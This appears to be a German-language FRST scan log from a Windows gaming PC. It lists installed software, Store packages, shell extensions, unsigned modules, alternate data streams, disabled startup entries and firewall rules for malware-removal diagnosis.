ENE_EHD_M2_HAL (HKLM-x32\...\{0d380ad9-daa5-4680-ada2-dc3ed9207e16}) (Version: 1.0.13.0 - ENE TECHNOLOGY INC.) Hidden
Epic Games Launcher (HKLM-x32\...\{9483ABD9-C772-487B-ADF8-09347CF8F2D2}) (Version: 1.3.93.0 - Epic Games, Inc.)
Epic Online Services (HKLM-x32\...\{57A956AB-4BCC-45C6-9B40-957E4E125568}) (Version: 2.0.44.0 - Epic Games, Inc.)
GameLoop (HKLM-x32\...\MobileGamePC) (Version: 1.0.0.1 - Tencent Technology Company)
GameSDK Service (HKLM-x32\...\{021d69c3-d686-4a94-8fb5-fd1ee782fb14}) (Version: 1.0.5.0 - ASUSTek COMPUTER INC.)
GameSDK Service (HKLM-x32\...\{7160DA8D-3F25-4F6E-ABC8-F693551D82FA}) (Version: 1.0.5.0 - ASUSTek COMPUTER INC.) Hidden
Kingston AURA DRAM Component (HKLM\...\{965CDF5F-901C-476F-B3A8-7396701B1129}) (Version: 1.1.36 - KINGSTON COMPONENTS INC.) Hidden
Kingston AURA DRAM Component (HKLM-x32\...\{afab10dc-c1d5-45c1-ad91-fe33af8ac488}) (Version: 1.1.36 - KINGSTON COMPONENTS INC.) Hidden
Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden
Malwarebytes version 5.2.4.157 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 5.2.4.157 - Malwarebytes)
Microsoft .NET Host - 6.0.16 (x64) (HKLM\...\{1D0AC7F1-2B34-44AF-91F6-88757D768DA7}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Host - 7.0.20 (x64) (HKLM\...\{EE5EB03B-D65C-4991-848E-2C6E024326DB}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 6.0.16 (x64) (HKLM\...\{B8537ACA-B210-4DF5-B928-E41CEB76723D}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Host FX Resolver - 7.0.20 (x64) (HKLM\...\{B0FC828F-678C-4868-9B5B-99639758E6F3}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.16 (x64) (HKLM\...\{C71E93D2-B8B4-4858-B2A1-4C967DBC1C5F}) (Version: 48.67.58427 - Microsoft Corporation) Hidden
Microsoft .NET Runtime - 6.0.16 (x64) (HKLM-x32\...\{2a8d0f2b-911b-4b58-8252-46b29e7a4590}) (Version: 6.0.16.32323 - Microsoft Corporation)
Microsoft .NET Runtime - 7.0.20 (x64) (HKLM\...\{221BB52A-B763-4C9D-AA62-4B0B6C9AAD62}) (Version: 56.80.15184 - Microsoft Corporation) Hidden
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 132.0.2957.115 - Microsoft Corporation)
Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 131.0.2903.146 - Microsoft Corporation) Hidden
Microsoft OneDrive (HKLM\...\OneDriveSetup.exe) (Version: 24.244.1204.0003 - Microsoft Corporation)
Microsoft Update Health Tools (HKLM\...\{C6FD611E-7EFE-488C-A0E0-974C09EF6473}) (Version: 5.72.0.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.42.34433 (HKLM-x32\...\{804e7d66-ccc2-4c12-84ba-476da31d103d}) (Version: 14.42.34433.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.42.34433 (HKLM-x32\...\{e7802eac-3305-4da0-9378-e55d1ed05518}) (Version: 14.42.34433.0 - Microsoft Corporation)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.42.34433 (HKLM\...\{E1902FC6-C423-4719-AB8A-AC7B2694B367}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.42.34433 (HKLM\...\{382F1166-A409-4C5B-9B1E-85ED538B8291}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.42.34433 (HKLM-x32\...\{84E3E712-6343-484B-8B6C-9F145F019A70}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.42.34433 (HKLM-x32\...\{C2BB95AA-90F3-4891-81C1-A7E565BB836C}) (Version: 14.42.34433 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 7.0.20 (x64) (HKLM\...\{72C29BED-666F-4E5E-BC49-DF44C890742E}) (Version: 56.80.15245 - Microsoft Corporation) Hidden
Microsoft Windows Desktop Runtime - 7.0.20 (x64) (HKLM-x32\...\{362ea044-f96f-45c7-b59f-0dbe5ca98ff4}) (Version: 7.0.20.33720 - Microsoft Corporation)
Mozilla Firefox (x64 de) (HKLM\...\Mozilla Firefox 134.0.1 (x64 de)) (Version: 134.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 127.0.1 - Mozilla)
Opera GX Stable 115.0.5322.152 (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Opera GX 115.0.5322.152) (Version: 115.0.5322.152 - Opera Software)
Patriot Viper DRAM RGB (HKLM\...\{1F9C282E-CCB4-4D8E-A5CB-7B74DFCD8C95}) (Version: 1.0.9.8 - Patriot Memory) Hidden
Patriot Viper DRAM RGB (HKLM-x32\...\{55993b50-5bec-47c8-8b2b-1aecad927e48}) (Version: 1.0.9.8 - Patriot Memory) Hidden
Patriot Viper M2 SSD RGB (HKLM\...\{8B4C0A3D-C135-4E1F-98D8-3926494B4D61}) (Version: 1.1.0.3 - Patriot Memory) Hidden
Patriot Viper M2 SSD RGB (HKLM-x32\...\{6e0eff60-c502-43bb-8f56-360ca07e73d9}) (Version: 1.1.0.3 - Patriot Memory) Hidden
Promontory_GPIO Driver (HKLM-x32\...\{B5512BCC-F4CD-4159-86A4-B2AD7D38FFA9}) (Version: 2.0.1.0 - Advanced Micro Devices, Inc.) Hidden
Realtek Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.9359.1 - Realtek Semiconductor Corp.)
Riot Client  (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Riot Game Riot_Client.) (Version:  - Riot Games, Inc)
Riot Vanguard (HKLM\...\Riot Vanguard) (Version:  - Riot Games, Inc.)
Roblox Player for wigla (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\roblox-player) (Version:  - Roblox Corporation)
Roblox Studio for wigla (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\roblox-studio) (Version:  - Roblox Corporation)
ROG Live Service (HKLM\...\{2D87BFB6-C184-4A59-9BBE-3E20CE797631}) (Version: 2.4.26.0 - ASUSTek COMPUTER INC.)
ROGFontInstaller (HKLM\...\{605108C1-153E-43D8-8A67-7CE326B00ECA}) (Version: 1.0.0 - ASUS)
RyzenMasterSDK (HKLM\...\{7E748B95-6E38-4263-BE35-74704CBCEB39}) (Version: 1.2.3.5 - Advanced Micro Devices, Inc.) Hidden
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Ubisoft Connect (HKLM-x32\...\Uplay) (Version: 87.0 - Ubisoft)
UE Prerequisites (x64) (HKLM\...\{9F18D9CE-84C9-4AEA-9421-38FD2AC30B77}) (Version: 1.0.21.0 - Epic Games, Inc.) Hidden
UE Prerequisites (x64) (HKLM-x32\...\{e9d9f387-657e-40d8-8f5b-4fc1aa768343}) (Version: 1.0.21.0 - Epic Games, Inc.) Hidden
Universal Holtek RGB DRAM (HKLM\...\{826388E4-E31F-4514-948B-3BB954FB3EAF}) (Version: 1.0.0.7 - PD) Hidden
Universal Holtek RGB DRAM (HKLM-x32\...\{9a732423-e2f4-47d0-87ab-ef745c7dba69}) (Version: 1.0.0.7 - PD) Hidden
VALORANT (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Riot Game valorant.live) (Version:  - Riot Games, Inc)
Voicemod (HKLM\...\{FE519A29-8B15-47C4-BCD6-A513277DC26F}_is1) (Version: 1.3.1 - Voicemod Inc., Sucursal en España)
WD_BLACK AN1500 (HKLM\...\{085E2365-0A70-4230-B664-02D5E4FE7E9C}) (Version: 1.0.14.0 - ENE TECHNOLOGY INC.) Hidden
WD_BLACK AN1500 (HKLM-x32\...\{e42c5874-37b0-4977-9e8d-70bf006e1f76}) (Version: 1.0.14.0 - ENE TECHNOLOGY INC.) Hidden
wootility-lekker 4.7.2 (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\66e6eb5a-751d-5dea-9547-09ad84261e24) (Version: 4.7.2 - )
wooting-analog-sdk (HKLM\...\{4775AE15-6216-498C-8A0C-FFFFDEB36C35}) (Version: 0.8.0 - Wooting)

Packages:
=========
AMD Radeon Software -> C:\Program Files\AMD\CNext\CNext [2024-07-22] (Advanced Micro Devices Inc.)
Armoury Crate -> C:\Program Files\ASUS\AacAmbientHal [2024-06-21] (Sparse Package)
ARMOURY CRATE -> C:\Program Files\WindowsApps\B9ECED6F.ArmouryCrate_5.9.13.0_x64__qmba6cd70vzyy [2024-12-23] (ASUSTeK COMPUTER INC.)
Crosshair X -> C:\Program Files\WindowsApps\47492CenterpointGaming.ProSight_9.7.7.0_x64__rz8d8f65gztyc [2025-01-15] (CenterPoint Gaming) [Startup Task]
DTS Sound Unbound -> C:\Program Files\WindowsApps\DTSInc.DTSSoundUnbound_2024.4.17.0_x64__t5j2fzbtdg37r [2024-11-19] (DTS, Inc.)
Minecraft for Windows -> C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.21.5101.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Minecraft Launcher -> C:\Program Files\WindowsApps\Microsoft.4297127D64EC6_2.1.3.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Minecraft: Java Edition -> C:\Program Files\WindowsApps\Microsoft.MinecraftJavaEdition_1.0.5.0_x64__8wekyb3d8bbwe [2025-01-13] (Microsoft Studios)
Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.36.273.0_x64__dt26b99r8h8gj [2024-06-21] (Realtek Semiconductor Corp)
Sonic Radar 3 -> C:\Program Files\WindowsApps\A-Volute.28054DF1F58B4_3.16.23.0_x64__w2gh52qy24etm [2024-06-21] (A-Volute)
Sonic Studio 3 -> C:\Program Files\WindowsApps\A-Volute.SonicStudio3_3.16.23.0_x64__w2gh52qy24etm [2024-06-21] (A-Volute)
Speech Pack - German (Germany) -> C:\Program Files\WindowsApps\MicrosoftWindows.Speech.de-DE.1_1.0.5.0_x64__cw5n1h2txyewy [2024-09-12] (Microsoft Windows)
WhatsApp -> C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2502.3.0_x64__cv1g1gvanyjgm [2025-01-17] (WhatsApp Inc.) [Startup Task]
WinAppRuntime.Main.1.5 -> C:\Program Files\WindowsApps\MicrosoftCorporationII.WinAppRuntime.Main.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe [2024-11-19] (Microsoft Corp.)
WinAppRuntime.Singleton -> C:\Program Files\WindowsApps\MicrosoftCorporationII.WinAppRuntime.Singleton_6000.318.2304.0_x64__8wekyb3d8bbwe [2024-11-19] (Microsoft Corp.)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3736346939-3236848792-3681124891-1001_Classes\CLSID\{5405618e-4c42-4fb9-a80a-d24d89911296}\localserver32 -> C:\Users\wigla\AppData\Local\NhNotifSys\sonicstudio\asusns.exe (A-Volute SAS -> A-Volute)
ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers3: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2024-12-15] (Malwarebytes Inc. -> Malwarebytes)
ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers5: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncShell64.dll [2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
ContextMenuHandlers6: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2024-12-15] (Malwarebytes Inc. -> Malwarebytes)

==================== Codecs (Nicht auf der Ausnahmeliste) ====================

==================== Verknüpfungen & WMI ========================

==================== Geladene Module (Nicht auf der Ausnahmeliste) =============

2024-12-23 13:15 - 2024-07-03 15:49 - 000346112 _____ () [Datei ist nicht signiert] \\?\C:\Program Files (x86)\ASUS\ArmouryDevice\resources\app.asar.unpacked\node_modules\@img\sharp-win32-ia32\lib\sharp-win32-ia32.node
2024-06-21 19:03 - 2024-08-13 14:58 - 000449536 _____ () [Datei ist nicht signiert] \\?\C:\Program Files (x86)\ASUS\ArmouryDevice\resources\app.asar.unpacked\node_modules\ac_node_addon\build\Release\ac_node_addon.node
2024-11-06 15:54 - 2024-12-03 21:40 - 005378048 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavcodec-61.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 000875008 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavfilter-10.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001674240 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavformat-61.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001640960 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libavutil-59.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 000630272 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libswresample-5.dll
2024-11-06 15:54 - 2024-12-03 21:40 - 001092608 _____ (FFmpeg Project) [Datei ist nicht signiert] C:\Program Files (x86)\Steam\libswscale-8.dll
2025-01-17 22:36 - 2025-01-17 22:36 - 002797056 _____ (winsparkle.org) [Datei ist nicht signiert] C:\Users\wigla\AppData\Local\VoicemodV3\app\last\WinSparkle.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)

AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini:B1DA6C571C [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini:41964AA945 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Epic Games Launcher.lnk:BE32D07BC5 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox Privater Modus.lnk:83A68E50E4 [4306]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes.lnk:C5D586BE93 [4306]
AlternateDataStreams: C:\Users\Public\Shared Files:VersionCache [6902]
AlternateDataStreams: C:\Users\wigla\Downloads\GeForce_Experience_v3.28.0.417.exe:MBAM.Zone.Identifier [163]
AlternateDataStreams: C:\Users\wigla\Downloads\VoicemodInstaller_1.1.29-0qtldv.exe:MBAM.Zone.Identifier [160]

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ==================

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) =================

==================== Internet Explorer (Nicht auf der Ausnahmeliste) =============


==================== Hosts Inhalt: =========================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2022-05-07 06:24 - 2022-05-07 06:22 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts

==================== Andere Bereiche ===========================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Desktop-Hintergrund.bmp
DNS Servers: 192.168.178.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
 ist aktiviert.

Network Binding:
=============
Ethernet: Intel(R) I211 Gigabit Network Connection -> e1r68x64.sys

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\StartupApproved\Run: => "AMDNoiseSuppression"
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\StartupApproved\Run: => "Mod Menu"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{4C7137B7-53A1-4464-8445-25E93290DDAC}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Little Nightmares\Atlas\Binaries\Win64\LittleNightmares.exe (Tarsier Studios) [Datei ist nicht signiert]
FirewallRules: [{43C6DF48-44EC-4FB7-B2B6-5036E3949D69}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Little Nightmares\Atlas\Binaries\Win64\LittleNightmares.exe (Tarsier Studios) [Datei ist nicht signiert]
FirewallRules: [UDP Query User{2209E0D0-AB55-41C2-8BA3-D28F6E70608F}C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex] => (Allow) C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex () [Datei ist nicht signiert]
FirewallRules: [TCP Query User{BB035B7C-C064-4728-A769-0A65CA60EB6C}C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex] => (Allow) C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{20249F35-2BC9-4930-9035-70955CCA2EBB}C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{4B8552D4-BD36-4573-8C1E-DCF31562EB70}C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{632E8B7B-789B-434F-9C5C-4A8304BCC27B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\UNLOVED\Unloved.exe () [Datei ist nicht signiert]
FirewallRules: [{3D6A94CF-F731-47F0-B8A8-51078039513E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\UNLOVED\Unloved.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{B0BAD0A3-22AE-466B-8DD3-61BCFE366966}C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe] => (Allow) C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{CAC84451-37A7-45FC-8FB1-0FBFC96B9BE8}C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe] => (Allow) C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{89DB5746-A4EB-44B8-A47F-0938FB1524AB}C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe] => (Block) C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{A97EF06B-7C5E-4828-80D8-B5EE2B1A1A12}C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe] => (Block) C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{365E2189-5BC1-40B8-B8D4-3D8469110671}C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe (tinyBuild Games) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{F0FC2FC6-C9AC-4C6E-B1C1-1F76DAE7750B}C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe (tinyBuild Games) [Datei ist nicht signiert]
FirewallRules: [{874F761A-65EB-4106-A345-EBA19B5093B0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Hello Neighbor\HelloNeighbor.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{BF36F484-E2D4-4EEC-A1DC-180A1756FA26}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Hello Neighbor\HelloNeighbor.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{AB309F33-D671-4B61-A3E9-83C258F9F62B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Crew 2\TheCrew2.exe (UBISOFT ENTERTAINMENT INC. -> UBISoft)
FirewallRules: [{CE3A12FE-8E18-4F77-AAB2-689AE4E00723}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Crew 2\TheCrew2.exe (UBISOFT ENTERTAINMENT INC. -> UBISoft)
FirewallRules: [{0980B0E0-ECB2-4F3A-BD23-9BA8F67C2DC1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Deadlock\game\bin\win64\project8.exe (Valve Corp. -> )
FirewallRules: [{CCC32911-B92F-4259-B0CF-30CBA13908D7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Deadlock\game\bin\win64\project8.exe (Valve Corp. -> )
FirewallRules: [UDP Query User{2BD2B9EA-534F-4B46-B170-DD3E3AD84B3A}C:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) C:\riot games\riot client\riotclientelectron\riot client.exe (Riot Games, Inc. -> Riot Games, Inc.)
FirewallRules: [TCP Query User{9ED3CCBC-2D6D-4CBD-BA3D-B4D896AF4D0A}C:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) C:\riot games\riot client\riotclientelectron\riot client.exe (Riot Games, Inc. -> Riot Games, Inc.)
FirewallRules: [{F95C0476-DAD5-4309-BE35-D08D9DD003C5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Aim Lab\AimLab_tb.exe () [Datei ist nicht signiert]
FirewallRules: [{ECB8673B-7121-4EDA-A8A8-6CB64F0DC235}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Aim Lab\AimLab_tb.exe () [Datei ist nicht signiert]
FirewallRules: [{FC91F0F0-6221-4935-9905-0D4EC163B820}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Content Warning\Content Warning.exe () [Datei ist nicht signiert]
FirewallRules: [{291B62A8-B99F-43CE-BA9E-954E61D904EA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Content Warning\Content Warning.exe () [Datei ist nicht signiert]
FirewallRules: [{ECDB1E0D-ADF4-4A3E-ACB8-300180C2D7C4}] => (Allow) c:\program files\txgameassistant\appmarket\GF186\TUpdate.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{1FEB23C5-3414-4B42-9B70-345AC359786A}] => (Allow) c:\program files\txgameassistant\appmarket\GameDownload.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{6789244E-2420-46F6-8FF0-78C69AC33833}] => (Allow) c:\program files\txgameassistant\appmarket\QQExternal.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{94403D87-E0F1-4A25-80C8-F587C2CA0C81}] => (Allow) c:\program files\txgameassistant\appmarket\bugreport.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{6ADAE913-6FB6-47DC-A709-A16D3DA307A4}] => (Allow) c:\program files\txgameassistant\appmarket\TInst.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{E601CD79-C12B-4465-9C69-211C79BF0F6C}] => (Allow) c:\program files\txgameassistant\appmarket\AppMarket.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{27650600-8D32-4D3A-99AF-EC4A06D97B55}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Poppy Playtime\PlaytimeLauncher\PlaytimeLauncher.exe (Epic Games, Inc.) [Datei ist nicht signiert]
